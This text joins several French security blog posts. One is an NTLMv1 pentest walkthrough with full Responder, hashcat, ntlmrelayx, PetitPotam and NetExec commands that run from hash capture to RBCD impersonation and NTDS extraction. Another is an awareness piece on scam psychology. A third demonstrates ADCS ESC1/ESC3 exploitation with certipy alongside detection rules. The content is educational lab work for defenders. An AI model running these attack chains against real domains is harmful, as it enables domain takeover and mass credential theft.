La majorité d’entre elles demande que l’attaquant se retrouve à un moment ou un autre en position de man-in-the-middle lui permettant de mettre en place les mécanismes de relais décrits dans le précédent article sur le fonctionnement et les faiblesses de ce protocole.

Entrons tout de suite dans le vif du sujet.

1. Les outils

Dans cet article nous allons parler de quelques outils très fréquemment utilisés en Pentest ou par les attaquants :

Responder : Permettra d’écouter le réseau sur de nombreux protocoles et d’opérer des modifications sur les paquets réseau interceptés, ou encore d’afficher les requêtes NTLM AUTHENTICATE qu’il voit passer.

ntlmrelayx : servira à modifier et relayer les requêtes NTLM récupérées par notre machine en position de man-in-the-middle.

Hashcat : pour toute action de bruteforce

NetExec : pour les interactions avec le domaine (LE couteau suisse du pentester)

PetitPotam.py : outil permettant la coerce d’une machine (explication dans l’article)

‍‍

2. L’environnement de test

Il est composé de trois machines :

DC01 (192.168.56.10) et DC02 (192.168.56.20) : les contrôleurs du domaine hardening.lab

WKS01 (192.168.56.107) : une machine cliente Windows 10 liée au domaine hardening.lab

ATTAK01 (192.168.56.1112) : la machine Debian de l’attaquant, non liée au domaine

‍‍

3. Les attaques

Comme expliqué précédemment, notre machine d’attaque doit se trouver en position de man-in-the-middle pour être en mesure d’intercepter les requêtes NTLM provenant de machines légitimes.

Il existe de nombreuses façons d’obtenir ce statut (empoisonnement LLMNR, Netbios, mDNS, ARP, ajout d’un combo DHCP/DNS IPv6, …) mais ça n’est pas le sujet de cet article (peut-être d’un prochain ?).

Nous partirons du postulat que notre machine d’attaque est déjà dans cette position et qu’elle reçoit des requêtes NTLM.‍

3.1. Les attaques par force brute

On commence par lancer Responder et attendre l’arrivée d’une authentification.

python3 responder.py -I enp0s8 -v --disable-ess

Explication des paramètres :

• -I : l’interface réseau en écoute

• --disable-ess : force la désactivation de la sécurité ESS (si possible)

• -v : mode verbeux

‍

Après quelques instants, nous recevons une requête NEGOCIATE (première requête de l’authentification NTLM). Cela signifie que quelqu’un ou quelque chose tente de s’authentifier à nous.

Dans notre cas, c’est un lecteur réseau d’une machine qui ne trouve pas sa destination (par exemple si le serveur hébergeant le partage réseau est décommissionné). Il tombe ainsi dans le piège de notre empoisonnement LLMNR, qui nous permet d’être positionnés en man-in-the-middle.

Responder va y répondre avec le challenge que nous avons fixé (CHALLENGE) et le client va chiffrer ce challenge avec le hash NT de son secret (AUTHENTICATE) comme nous l’avons vu dans le précédent article.

C’est le hash NTLM présent dans cette dernière requête que Responder nous affiche :

‍

Hash NTLMv1 dans responder

Description des informations de l’image précédente :

• En vert : le nom d’utilisateur qui initie l’authentification et le domaine auquel il est lié‍

• En rouge : le hash NTLM (affiché deux fois)‍

• En bleu : le challenge utilisé pour calculer le hash NTLM

‍

Nous voilà en procession du hash NTLM de l’utilisateur user1 du domaine hardening.lab

3.2. Hashcat – attaque par dictionnaire

Il est maintenant possible de casser ce hash NTLM via l’utilisation du logiciel hashcat. Pour ce faire, on commence par ajouter le contenu de la réponse retournée par Responder dans un fichier :

Fichier contenant le hash

On peut maintenant lancer le cassage par dictionnaire via la commande suivante :

hashcat -m 5500 hash.txt -a 0 rockyou.txt

Explication des paramètres :

• -m : le module hashcat à employer, 5500 correspond au format NTLMv1

• Hash.txt : le fichier contenant notre hash

• -a 0 : le type d’attaque à réaliser. Ici, attaque par dictionnaire

• Rockyou.txt : le dictionnaire utilisé pour tenter de casser le hash.

Le mot de passe a ainsi pu être retrouvé.

Mot de passe cassé grâce à un dictionnaire

3.3. Hashcat – attaque par force brute

Il n’est pas nécessaire d’utiliser un dictionnaire pour casser un hash NTLM. Il est possible de tenter toutes les combinaisons possibles jusqu’à trouver celle correspondant au mot de passe duquel le hash est dérivé.

Cette attaque est beaucoup plus longue mais reste efficace dans un temps raisonnable du fait du faible niveau de chiffrement du hash NTLMv1. Voici comment la mettre en œuvre.

hashcat -m 5500 ./hash.txt -a 3 -1 ?u?l?d?s ?u?1?1?1?1?1?1?1?1?1?1?1?1?1 -i

Explication des paramètres :

• -a 3 : le type d’attaque à réaliser. Ici, attaque par force brute

• -1 ?u?l?d?s : définition d’un jeu de caractères (-1 représentera l’ensemble des caractères minuscules, majuscules, chiffres et spéciaux)

• ?u?1?1?1?1?1?1?1?1?1?1?1?1?1 : le masque à utiliser. Ici, la première lettre sera toujours en majuscule ( ?u), les suivantes proviendront du jeu de caractères défini ci-dessus

• -i : utiliser la méthode incrémentale (d’abord 1 caractère, puis 2, puis 3, …)‍

Par cette méthode, le mot de passe a pu être retrouvé en un peu plus de 4 minutes depuis une machine dédiée à cette tâche.

Cassage du mot de passe par force brute

‍

Le temps de casse varie en fonction de la puissance de la machine et surtout de la longueur/complexité du mot de passe. Un mot de passe vraiment fort ne sera jamais trouvé par cette technique.

3.4. Drop The Mic

Comme expliqué dans l’article précédent, la version 1 du protocole NTLM permet la suppression du MIC, garant de l’intégrité des requêtes de l’authentification via NTLM.

De ce fait, il est possible de modifier à notre convenance toute requête avant de la relayer.

Cela rend possibles les attaques suivantes : nous avons vu précédemment que l’on pouvait répondre aux requêtes NTLM en étant placé en position de man-in-the-middle. Il est également possible de modifier et relayer ces requêtes.

Pour ce faire nous pouvons utiliser NTLMRelayX.

La suppression du MIC permet notamment de relayer une authentification NTLM initiée depuis le protocole SMB, vers le protocole LDAP. C’est cette vulnérabilité que nous allons exploiter par la suite.

‍

Le relais de SMB vers SMB reste possible sans la suppression du MIC. Cela permet d’autres types d’attaques, mais nécessite que :

• la signature sur SMB soit désactivée coté serveur

• le compte relayé possède des privilèges spécifiques sur la machine (accès à des partages réseaux, droits d’administration, …).

‍

Les attaques décrites dans les chapitres suivants utilisent le relais d’un utilisateur sans droits particuliers.

‍

5.5. Énumération Active Directory

La commande suivante permet de relayer une requête NTLM vers un contrôleur de domaine, après avoir supprimé le contrôle d’intégrité (MIC).

Nous choisissons le protocole LDAP pour destination afin d’énumérer les actifs de l’environnement Active Directory (liste des utilisateurs, groupes, machines, descriptions, GPO, …).

ntlmrelayx -t ldap://192.168.56.10 --remove-mic -smb2support -l lootdir

Explication des paramètres :

• -t ldap://192.168.56.10 : la cible du relais. Ici le contrôleur de domaine sur le protocole LDAP

• --remove-mic : supprime le contrôle d’intégrité (MIC)

• -smb2support : supporte la version 2 du protocole SMB pour les requêtes entrantes

• -l lootdir : le répertoire de sortie des informations extraites de l’Active Directory

Lors du relais d’une requête, NTLMRelayX nous affiche les informations suivantes :

Extraction des informations ActiveDirectory

‍

Encadrées en rouge, les différentes actions effectuées par NtlmRealyx :

1. Réception de la requête d’authentification de la machine 192.168.56.107

2. Relai de l’authentification vers le contrôleur de domaine, via le protocole LDAP

3. Vérification des permissions de l’utilisateur (ici, un simple utilisateur)

4. Extraction des informations de l’Active Directory

Voici quelques exemples des informations extraites par ntlmrelayx dans le répertoire loot :

‍

Extraction de la politique de mot de passe du domaine

‍

Extraction des groupes du domaine

‍

Extrcation des utilisateurs du domaine

‍

Avec ces informations, un attaquant a une vision beaucoup plus claire de l’environnement dans lequel il se trouve.

On remarque que le champ LDAP description des comptes est également extrait. Il n’est pas rare d’y trouver des mots de passe.

3.6. Ajout d’un compte au domaine

Par défaut, un compte utilisateur même sans privilège, est autorisé à ajouter 10 machines au domaine. Cela signifie qu’il peut créer 10 comptes machines. Il s’agit de comptes qui peuvent être utilisés comme des utilisateurs standards.

En utilisant une nouvelle fois NTLMRelayX, il est possible de relayer une authentification pour créer un tel compte. Cela permet à un attaquant d’obtenir un accès au domaine légitime, avec un identifiant et un mot de passe.

ntlmrelayx -t ldap://192.168.56.10 --remove-mic -smb2support --add-computer 'newMachineAccount$' 'Eddf5eFF.zefZ58585qst'

Explication des paramètres :

• --add-computer : permet l’ajout d’un compte machine

• 'newMachineAccount$' : le nom du compte à ajouter

• 'Eddf5eFF.zefZ58585qst' : le mot de passe du compte à ajouter

Ajout d'un compte machine au domaine Active Directory

‍

On remarque qu’après les étapes de relais, le compte machine newMachineAccount$ est créé dans le conteneur Computers, avec le mot de passe Eddf5eFF.zefZ58585qst.

Il est maintenant possible de s’authentifier au domaine avec ce compte :

Connexion au domaine avec le compte machine

‍

Avec un compte dans le domaine, un attaquant est en mesure de continuer l’énumération Active Directory (en utilisant des outils comme Bloodhound par exemple) afin de lister les vulnérabilités qui pourraient s’y trouver (ACL, ADCS, …).

3.7. RBCD

Maintenant que nous possédons un compte utilisateur du domaine, nous allons pouvoir l’utiliser pour forcer un contrôleur de domaine (DC01) à effectuer une authentification (toujours en NTLMv1) vers notre machine. Cette étape s'appelle la Coerce.

Nous pourrons relayer cette authentification vers un autre contrôleur de domaine (DC02).

Nous allons alors être en mesure d’écrire dans le champ LDAP msDS-AllowedToActOnBehalfOfOtherIdentity du compte machine relayé (DC01).

Ce champ autorise le compte machine qui y est inscrit à se connecter via Kerberos à la machine relayée (DC01) au nom de n’importe quel compte du domaine, non protégé contre la délégation.

Il s’agit d’un mécanisme de délégation intégré à Active Directory, connu sous le nom de Resource-based Constrained Delegation (RBCD).

Un compte machine possède les droits nécessaires pour modifier son propre champ LDAP msDS-AllowedToActOnBehalfOfOtherIdentity. Pour ça, il doit se connecter via le protocole LDAP sur un contrôleur de domaine. C’est l’attaque que nous allons mettre en place :

DC01 va se connecter sur DC02 via LDAP pour ajouter le compte machine newMachineAccount$ à son champ msDS-AllowedToActOnBehalfOfOtherIdentity.

Le compte machine newMachineAccount$ possèdera ainsi les droits nécessaires pour se connecter au nom de n’importe quel utilisateur (non protégé contre la délégation) à DC01.

3.7.1. Coerce

Commençons par forcer DC01 à s’authentifier auprès de notre machine.

Pour cela, nous allons utiliser le script PetitPotam.py. Dans la majorité des cas, cette attaque nécessite un compte du domaine (si les contrôleurs de domaine sont à jour). Ça tombe bien, nous en avons créé un : le compte machine newMachineAccount$.

PetitPotam -u 'newMachineAccount$' -p 'Eddf5eFF.zefZ58585qst' -d hardening.lab 192.168.56.112 192.168.56.10

‍

Explication des paramètres :

• -u 'newMachineAccount$' : nom du compte à utiliser pour la connexion à la cible

• -p 'Eddf5eFF.zefZ58585qst' : mot de passe du compte

• -d hardening.lab : domaine du compte

• 168.56.112 : la machine vers laquelle l’authentification sera effectuée (machine de l’attaquant)

• 168.56.10 : la machine qui va s’authentifier (la cible, ici DC01)

Coerce avec PetitPotam.

‍

Si on relance Responder (avant l'exécution de PetitPotam), on voit bien l’authentification arriver sur notre machine. Celle-ci est faite depuis le contrôleur de domaine en NTLMv1.

Authentification de DC01 en NTLMv1

Nous avons ainsi vérifié que toutes les conditions sont réunies pour lancer l’attaque.

3.7.2. AllowedToActOnBehalfOfOtherIdentity

Après avoir stopé Responder (il écoute sur le port 445 et NtlmRelayx a besoin d’écouter sur ce port), on relance NtlmRelayX avec les options suivantes, permettant l’ajout de notre compte machine au champ msDS-AllowedToActOnBehalfOfOtherIdentity :

ntlmrelayx -t ldap://192.168.56.20 --remove-mic -smb2support --delegate-access --escalate-user 'newMachineAccount$'

Explication des paramètres :

• -t ldap://168.56.20 : machine vers laquelle relayer l’authentification (ici DC02)

• --delegate-access : active l’ajout d’un compte dans le champ LDAP msDS-AllowedToActOnBehalfOfOtherIdentity

• --escalate-user 'newMachineAccount$' : le compte à ajouter au champ LDAP

Après avoir exécuté cette commande, on relance PetitPotam et on observe le résultat dans ntlmrelayx :

RBCD via NTLMRelayX

‍

On voit bien que l’authentification de DC01 (192.168.56.10) est relayée sur LDAP vers DC02 (192.168.56.20). Puis que NtlmRelayX utilise cette connexion pour ajouter les droits RBCD à newMachineAccount$ sur DC01.

3.7.3. Connexion au domaine

Les étapes suivantes consistent à utiliser cette délégation pour générer un ticket de service Kerberos au nom de n’importe quel utilisateur non protégé contre la délégation.

Par défaut, tous les utilisateurs qui ne sont pas présents dans le groupe Protected Users ne sont pas protégés. En ciblant le bon service (par exemple cifs) nous pourrions utiliser ce ticket pour nous connecter à DC01 en tant que l’utilisateur ainsi usurpé (un compte administrateur). Ceci entrainerait la compromission du contrôleur de domaine et donc de tout le domaine Active Directory.

Les développeurs de NetExec (et notamment l’ami Zblurx) ont automatisé toutes ces étapes pour nous.

La commande suivante utilise le compte machine newMachineAccount$ pour se connecter à DC01 en tant que l’utilisateur Administrateur.

nxc smb dc01.hardening.lab-u 'newMachineAccount$' -p 'Eddf5eFF.zefZ58585qst' -d hardening.lab --delegate Administrateur -k

‍

Explication des paramètres :

• --delegate Administrateur : automatise les étapes nécessaires à l’usurpation du compte administrateur

• -k : utiliser l’authentification Kerberos

‍

Utilisation de RBCD pour se connecter en tant qu'Administrateur à DC01

‍

L’inscription Admin! en jaune montre que nous avons les privilèges maximums sur la machine DC01.

Le contrôleur de domaine et ainsi le domaine sont compromis.

3.7.4. Extraction NTDS

Avec les droits maximums sur un contrôleur de domaine, on est en mesure d’extraire la base NTDS qui contient l’ensemble des comptes du domaine ainsi que leurs hashs.

Une nouvelle fois, NetExec peut se charger de cette opération.

nxc smb 192.168.56.10 -u 'newMachineAccount' -p 'Eddf5eFF.zefZ58585qst' -d hardening.lab --delegate Administrateur --ntds -k

‍

Explication des paramètres :

• --ntds : lance l’extraction de la base NTDS du domaine

‍

Extraction de la base NTDS du domaine hardening.lab

Le domaine est maintenant totalement compromis puisque nous sommes en possession des identifiants de l’ensemble des ressources de celui-ci.

Pour rappel : seul le hash du mot de passe est nécessaire pour effectuer une connexion NTLM. Il n’est donc pas utile de casser les hashs ainsi récupérés pour en obtenir les mots de passe en clair.

‍

4. Conclusion

Les attaques décrites dans cet article ne représentent qu’une partie des exploitations possible du protocole NTLM en version 1.

Nous avons vu qu’il était possible de compromettre l’ensemble du domaine sans nécessiter de privilèges préalables, et ce uniquement en exploitant des configurations Active Directory par défaut avec NTLMv1.

Cet article montre pourquoi il est urgent d'en finir avec cette version obsolète du protocole NTLM.

Le prochain article sera dédié aux remédiations à mettre en place et à la maitrise des impacts éventuels qu’elles pourraient engendrer.

Les arnaques financières exploitent des mécanismes psychologiques profonds qui altèrent notre capacité à prendre des décisions rationnelles. Les cybercriminels combinent stratégies d’ingénierie sociale et manipulation cognitive pour piéger leurs victimes. Pourquoi ces fraudes sont-elles si efficaces ? Qui est le plus vulnérable ? Comment les identifier et s'en protéger ?

Dans ce premier chapitre, voyons en quoi les facteurs sociaux exercent une influence dans nos prises de décision, dans notre évaluation du risque.

Les Clés Psychologiques des Arnaques Financières

Les cybercriminels utilisent plusieurs biais cognitifs et stratégies pour pousser leurs cibles à agir sans réfléchir. Pour se faire ils s’appuient sur 4 angles d’attaques liés au biais cognitif et émotionnel; à l’environnement, et aux facteurs sociaux.

Voyons ce dernier en détail.

Facteurs sociaux

Nous sommes des êtres sociaux, instinctivement programmés pour faire confiance, coopérer et rechercher l’approbation des autres. Ce besoin fondamental, qui nous a permis d’évoluer en tant qu’espèce, devient une faille exploitable entre de mauvaises mains.

Les cybercriminels le savent : plus une information semble validée par un groupe, plus elle nous paraît crédible. Plus une offre semble rare et convoitée, plus nous sommes enclins à la saisir. Plus nous avons l’impression d’être en contrôle, plus nous abaissons notre vigilance.

Ces mécanismes, bien que naturels, nous rendent vulnérables aux stratégies d’ingénierie sociale qui exploitent nos biais et notre besoin d’appartenance. Comprendre ces ressorts psychologiques, c’est reprendre le pouvoir face aux manipulateurs.

Le biais de rareté et le FOMO (Fear of Missing Out)

Avez-vous déjà reçu un message du type "Offre exclusive, valable 24h seulement !" ou "Dernière chance d’investir avant la hausse des prix !" ; « Opportunité unique réservée aux 100 premiers inscrits ! » ? Vous êtes face au FOMO, ou la peur de rater une opportunité.
‍

FOMO : Fear Of Missing Out

Le FOMO, est un piège psychologique puissant. Il exploite notre aversion à la perte : nous préférons agir sous pression plutôt que de risquer un manque à gagner. Mais ce sentiment d'urgence est souvent une illusion savamment orchestrée.

Les escrocs savent que face à une "occasion en or", nous rationalisons moins et agissons plus vite. Ils utilisent des techniques de manipulation éprouvées :

• Création d’une rareté artificielle : "Seulement 5 places restantes !"

• Deadline fictive : "Offre valable jusqu’à minuit !"

• Faux témoignages : "J’ai gagné 10 000€ en une semaine grâce à cette méthode !"

Dans le monde financier, ce biais est un outil redoutable :

• Les ICO frauduleuses (levées de fonds en cryptomonnaies), où seuls les "premiers investisseurs" feraient fortune.

• Les scams boursiers, où l'on vous assure que les retardataires perdront leur chance de profit.

• Les faux investissements immobiliers, avec des offres "réservées aux membres VIP".

Un principe simple pour éviter le piège ? Si une offre est légitime aujourd’hui, elle le sera encore demain. Ne laissez personne dicter votre timing.

L’effet Bandwagon (effet de masse)

"Tout le monde investit dans cette cryptomonnaie !" ; "98% des utilisateurs recommandent ce placement !"

La force du nombre est un levier psychologique redoutable. Plus une idée semble populaire, plus nous avons tendance à la suivre, sans même la questionner. Ce biais est ancré en nous : nous nous fions à la majorité pour prendre des décisions, surtout face à une incertitude. Les arnaqueurs en abusent sans scrupules.

Ils créent une illusion de confiance et de succès en manipulant l’information :

• Faux témoignages vantant des profits astronomiques.

• Avis positifs truqués sur les forums et les réseaux sociaux.

• Armées de bots inondant Internet de messages enthousiastes.

Dans l’univers des cryptomonnaies, cette technique est utilisée à grande échelle :

• Fausses ICO (nous l’avons vu) où les premiers entrants font semblant de réussir pour attirer de nouveaux investisseurs.

• Pump & Dump , où un groupe fait grimper artificiellement la valeur d’un actif avant de le revendre brutalement, laissant les nouveaux venus ruinés.

• Influenceurs rémunérés, qui valident et recommandent des escroqueries sans jamais investir eux-mêmes.

Ne confondez pas popularité et légitimité. Une masse de commentaires positifs ne garantit pas qu’une offre est réelle. Toujours vérifier, toujours douter...

Le besoin de gratification immédiate

"Gagnez 500€ en quelques minutes grâce à cette méthode secrète !"

Qui ne voudrait pas connaître une méthode rapide pour gagner de l’argent ?

Le cerveau humain préfère les récompenses immédiates aux bénéfices à long terme. Attendre, analyser, comparer ? Trop fatigant. Les escrocs l'ont compris et nous tendent un piège irrésistible : promettre de l’argent rapide et facile.

Ce type d’arnaque repose sur des mécanismes bien rodés :

• Systèmes pyramidaux et schémas Ponzi : les premiers investisseurs gagnent… jusqu’à ce que l’argent des nouveaux entrants ne suffise plus à alimenter le système.

• Plateformes de trading frauduleuses : affichant de faux gains pour inciter à réinvestir, jusqu'à ce que tout disparaisse d’un coup.

• Paris financiers truqués : où l’on vous laisse gagner un peu au début, juste assez pour vous appâter… avant de tout vous faire perdre.

Leur stratégie ? Vous donnez l’illusion du succès immédiat pour vous piéger plus profondément. Une mise initiale faible, quelques gains fictifs, et vous voilà accro.

Alors ayez ce fameux réflexe de survie :

• Si ça semble trop beau pour être vrai… c’est que ça l’est.

• Ne vous fiez jamais aux témoignages "authentiques", ils sont souvent falsifiés.

• Vérifiez toujours si la plateforme est régulée et reconnue par des organismes officiels.

Ne laissez pas l’illusion de l’argent facile guider vos décisions. Les seuls qui s’enrichissent vraiment dans ces systèmes… ce sont les escrocs.

L’effet Benjamin Franklin

« Pouvez-vous m’aider avec un petit service ? », « Votez pour moi sur ce site, cela ne prend que 2 secondes ! »

Nous avons une tendance surprenante : aider quelqu’un nous pousse à l’apprécier davantage. Ce biais psychologique, identifié par Benjamin Franklin, est une arme redoutable pour les escrocs.

Et voici leur stratégie, elle est simple : créer un lien de confiance progressif :

• Une demande innocente et anodine comme partager un lien, remplir un questionnaire, voter pour eux…

• Une sollicitation plus personnelle : Vous demander des informations sensibles ("juste votre email" ou "seulement votre numéro de téléphone").

• Une exigence financière masquée : Un "petit virement de validation" ou un "test de transaction".

• L’arnaque totale : Une pression croissante pour des virements plus conséquents.

Cette arnaque est fréquente dans :

• Fraudes à l’investissement : "Testez avec 10€, puis 100€, puis 1000€..."

• Escroqueries sentimentales : "Je suis en difficulté, peux-tu m’avancer un peu d’argent ?"

• Vols de comptes : "Peux-tu partager ce code de vérification que tu viens de recevoir ?"

Pour se protéger :

• Ne jamais sous-estimer une petite demande : elle peut être le premier pas d’une manipulation.

• Ne partagez jamais d’informations personnelles, même "banales".

• Soyez méfiant face aux demandes répétées et progressives.

N’oubliez pas qu’un petit service peut vite devenir un grand piège.

‍

L’Illusion de Contrôle

« Avec notre plateforme sécurisée, vous gardez le contrôle total de vos investissements. » ; « Gérez vos fonds en toute autonomie, sans intermédiaire ! »

Nous avons un besoin fondamental de nous sentir maîtres de nos décisions. Ce biais psychologique nous pousse à croire que nous contrôlons une situation, même lorsque chaque étape est en réalité orchestrée par des manipulateurs.

Des plateformes de trading frauduleuses

Elles affichent des statistiques truquées et de faux profits pour vous donner l’impression que vous faites les bons choix.

Des applications d’investissement fictives

L’argent "augmente" à l’écran… mais reste en réalité inaccessible.

Des faux conseillers financiers

Ils vous donnent l’illusion du choix, tout en vous orientant vers une seule et unique option : celle qui les enrichit.
‍

Cette technique est courante dans le domaine de la finance ; ainsi :

• En crypto-arnaques : "Vous gérez votre portefeuille librement"… jusqu’à ce que les fonds disparaissent.

• En forex frauduleux : "Tradez en toute autonomie"… sur une plateforme où tout est manipulé.

• Sur les sites d’arnaques aux influenceurs : "Vous choisissez vos collaborations"… alors qu’elles sont orchestrées pour maximiser leur emprise.

Comment se protéger ?

• Ne pas se fier aux interfaces séduisantes : ce n’est pas parce que vous voyez des gains affichés qu’ils sont réels.

• Toujours tester les retraits : une plateforme qui empêche ou retarde un retrait est un signal d’alerte.

• Éviter les sites qui insistent sur "l’autonomie" pour masquer un manque de transparence.

L’illusion de contrôle est l’une des armes les plus subtiles de la manipulation financière. Ne tombez pas dans le piège.

‍

Pour finir

Les escrocs ne sont pas seulement de bons techniciens, ce sont avant tout des experts en psychologie. En comprenant nos instincts sociaux, nous pouvons apprendre à détecter ces stratégies et réagir avec prudence.

• Méfiez-vous des offres trop belles pour être vraies.

• Prenez le temps de vérifier les sources et de croiser les informations.

• Ne laissez pas la pression sociale ou l'urgence dicter vos décisions.

‍

Partager ces connaissances, c’est se protéger soi-même et aider les autres à ne pas tomber dans le piège. Alors, prêts à déjouer les arnaques ?

Ne laissez pas les fraudeurs jouer avec votre esprit !

Contactez-nous dès aujourd’hui pour un audit ou une session de formation : contact@login-securite.com

L'ADCS est un élément au centre d'énormément d'attaques, car il permet, lorsqu'un de ses éléments est mal configuré, d'augmenter ses privilèges, et d'obtenir les privilèges d'administrateurs du domaine. Maintenant que nous avons accès aux logs, nous pouvons tester différentes attaques pour étudier les logs associés. Ces différentes attaques sont appelées ESCXX où le X correspond à un nombre, permettant de les différencier. Cette nomenclature a été proposée par l’entreprise Specter Ops dans son article Certified Pre-Owned et le Whitepaper associé, puis reprise par la communauté lors de la découverte de nouveaux vecteurs d’attaque.

‍

ESC1

Création du modèle vulnérable pour les tests

Nous allons créer un modèle de certificat vulnérable. Pour cela, sur le serveur ADCS, dans l'applicatif "certsrv", effectuer un clic droit sur le dossier "Modèle de certificats" ouvrira un menu, où il faudra sélectionner "Gérer" :

Cette action va ouvrir le menu de gestion des modèles de certificat. Pour gagner du temps, on va dupliquer le modèle "Utilisateur" en effectuant un clic droit sur ce dernier, puis en sélectionnant "Dupliquer le modèle".

Dans l'onglet Général, nous allons appeler le modèle de certificat "TEST-ESC1", et dans le "Nom du sujet", il faudra remplacer "Construire à partir de ces informations Active Directory" par "Fournir dans la demande", puis valider.

Lorsque l'option "Fournir dans la demande" est cochée, il est possible de préciser, lors de la demande de certificat basée sur ce modèle, des informations qui ne sont pas forcément conformes avec celles de l'Active Directory, ou du moins qui ne correspondent pas à notre utilisateur courant. Par exemple, on peut arbitrairement indiquer un nom d'utilisateur (UPN), pour usurper l'identité de quelqu'un d'autre. C’est le cœur de l’attaque ESC1.

Pour ajouter le nouveau modèle à l'autorité de certification, il faut effectuer un clic droit dans le menu "Modèles de certificats", et choisir successivement "Nouveau", puis "Modèle de certificat à délivrer" :

Et on va ajouter le modèle que nous venons de créer :

Il devrait désormais apparaître dans la liste des modèles

Exploitation

On va utiliser l'outil de Lyak appelé Certipy : https://github.com/ly4k/Certipy

certipy find -u <nom d'utilisateur> -p <mot de passe> -text -stdout

Pour commencer, le modèle nous est bien présenté comme vulnérable à l'ESC1 car:

• Le modèle est disponible (Enabled = True)

• Il est possible de s'authentifier avec un certificat de ce type (Client authentication = True)

• Il est possible de préciser des informations sur le certificat que l'on veut obtenir (Enrolee Supplies Object = True)

• Un groupe non privilégié peut demander un certificat (Ici, Utilisateurs du domaine)

Ainsi, on peut voir que l'on peut demander un certificat en précisant un User Principal Name / UPN, ici avec le compte Administrateur :

certipy req -ca <Nom de l'autorité de certification > -u <nom d'utilisateur> -p <mot de passe> -template <Modèle de certificat vulnérable à l'ESC1> -upn <utilisateur que l'on veut usurper>

On a bien reçu les deux certificats au format pfx, pour le compte misty qui a fait la requête, mais aussi et surtout pour le compte Administrateur. Il est alors possible de s'authentifier avec ces derniers, pour compromettre les comptes associés :‍

Si le modèle n'est pas vulnérable à l'ESC1, le certificat généré ne prendra pas en compte l’UPN fourni :

Détection

L'événement 4887 du journal Security correspond à l'émission validée d'un certificat. L'événement 4888 quant à lui correspond au refus de la demande d'un certificat. On peut voir qu'il y a dans le log le champ UPN que l'on a précisé (upn=Administrateur), le template associé (CertificateTemplate:User), et le compte qui a effectué la demande (misty) :

Ici, le champ UPN que l'on a précisé (upn=Administrateur), le template associé (CertificateTemplate:TEST-ESC1), et le compte qui a effectué la demande (misty) :

On pourra donc détecter les tentatives d'ESC1 en utilisant les filtres suivants :

• Event ID [4887 ou 4888]

• UPN != Demandeur (ici Administrateur != misty)

Enfin, pour ne pas laisser notre environnement vulnérable, on peut supprimer le modèle de certificat :

ESC3

Création du modèle vulnérable pour les tests

De la même façon, on va aller plus vite en dupliquant le modèle utilisateur :‍

En nouveau nom, on va choisir "TEST-ESC3" :‍

Dans l'onglet "Extensions", il faudra modifier la "Stratégies d'application" pour ajouter l'option "Agent de demande de certificat" :

C’est ce paramètre qui rendra ce modèle de certificat vulnérable à l’attaque ESC3.

Ensuite, pour l'ajouter à l'autorité de certification, il faut effectuer un clic droit dans le menu "Modèles de certificats", et choisir successivement "Nouveau", puis "Modèle de certificat à délivrer" :

Et on va ajouter le modèle que nous venons de créer :‍

Exploitation

En relançant l'énumération des informations des certificats

certipy find -u <nom d'utilisateur> -p <motde passe> -text -stdout

Nous obtenons les résultats suivants :

Pour commencer, le modèle nous est bien présenté comme vulnérable à l'ESC3 car:

• Le modèle est disponible (Enabled = True)

• Il est possible de préciser d'utiliser le certificat pour en demander un autre (Extended Key Usage contient Certificate Request Agent)

• Il faut que l'on puisse demander un certificat sans avoir besoin qu'il soit validé par la console de l'ADCS (Requires Manager Approval = False)

• Un groupe non privilégié peut demander un certificat (Ici, Utilisateurs du domaine)

‍

Ainsi, on va demander deux certificats. Le premier en demandant un certificat basé sur le modèle vulnérable à l'ESC3 :

certipy req -ca <Nom de l'autorité de certification/Certificate Authorities> -u <nom d'utilisateur> -p <mot de passe> -template <Modèle de certificat vulnérable à l'ESC3>

Ensuite, on va demander un nouveau certificat permettant l'authentification cliente (par exemple, le modèle par défaut User) en précisant le compte que l'on veut usurper avec l'argument « on-behalf-of » en utilisant le certificat que l'on vient d'obtenir :

certipy req -ca <Nom de l'autorité de certification/Certificate Authorities> -u <nom d'utilisateur> -p <mot de passe> -template <Modèle de certificat permettant le client authentication> -on-behalf-of <utilisateur que l'on veut usurper> -pfx <Certificat que l'on vient d'obtenir>

Encore une fois, il est possible de s'authentifier avec le certificat que l'on vient d'obtenir pour le compte Administrateur et donc de compromettre le compte.

Si lors de la demande du certificat, l'erreur "CERTSRV_E_SUBJECT_EMAIL_REQUIRED" apparaît, cela signifie que l'adresse e-mail du compte n'est pas disponible. Il faudra alors soit l'ajouter dans les propriétés du compte, dans l'applicatif "Utilisateurs et Ordinateurs Active Directory" sur un des contrôleurs du domaine :

Soit, dans l'onglet "Nom du sujet", il est possible de décocher les deux options indiquant qu'il faut inclure le compte de messagerie dans le certificat :

‍

Détection

Cette fois-ci, on peut voir que le champs "Sujet", contenant le Disinguished Name du compte « Administrateur », ne correspond pas au champs "Demandeur", ici « KANTO\misty ».

Dans le cas de l'Event ID 4888 (refus de la demande), il ne contient malheureusement pas assez d'informations pour vérifier si l'exploitation a été tentée.

On pourra donc détecter les tentatives d'ESC3 en utilisant les filtres suivants :

• Event ID [4887]

• Sujet != Demandeur (ici Administrateur != misty)

Nous verrons d'autres typologie d'attaques dans un prochain article.

Maintenant que nous avons configuré l'ADCS, et qu'il est utilisable, nous allons activer le logging des événements.

Configuration de l'ADCS pour la création des logs

La première étape est d’ouvrir la "Stratégie de sécurité locale" de notre serveur ADCS. Puis, dans "Configuration avancée de la stratégie d'audit > Stratégies d'audit système - Objet Stratégie de groupe > Accès à l'objet > Auditer les services de certification", il faudra activer les événements d'audit pour les succès et échecs :

‍

Enfin, maintenant que la création des logs est activée, il faut choisir ce que l'on veut auditer.

Voici deux méthodes pour surveiller l'ensemble des activités de l'ADCS :

Méthode 1: activation via GUI

Dans l'applicatif « certsrv » du serveur ADCS, on va ouvrir le menu "Propriétés" en effectuant un clic droit sur l'autorité de certification. Ensuite, dans l'onglet "Audit", on va activer les différents éléments à auditer :

‍

Méthode 2 : activation via PowerShell

Dans un PowerShell lancé en tant qu'Administrateur sur le serveur ADCS, on va lancer les commandes suivantes :

La première ligne va activer l'ensemble des événements d'audit, et la deuxième va redémarrer le service.

Voici les différentes valeurs à additionner pour activer l'audit au cas par cas :

‍

• 1 - Démarrage et arrêt des services de certificats Active Directory

• 2 - Sauvegarde et restauration de la base de données de l'autorité de certification

• 4 - Émission et gestion des demandes de certificats

• 8 - Révocation des certificats et publication des listes de révocation des certificats

• 16 - Modification des paramètres de sécurité de l'autorité de certification

• 32 - Sauvegarde et récupération des clés archivées

• 64 - Modification de la configuration de l'autorité de certification

Si tous les événements doivent être activés, la somme fait bien 127.

Les nouveaux événements

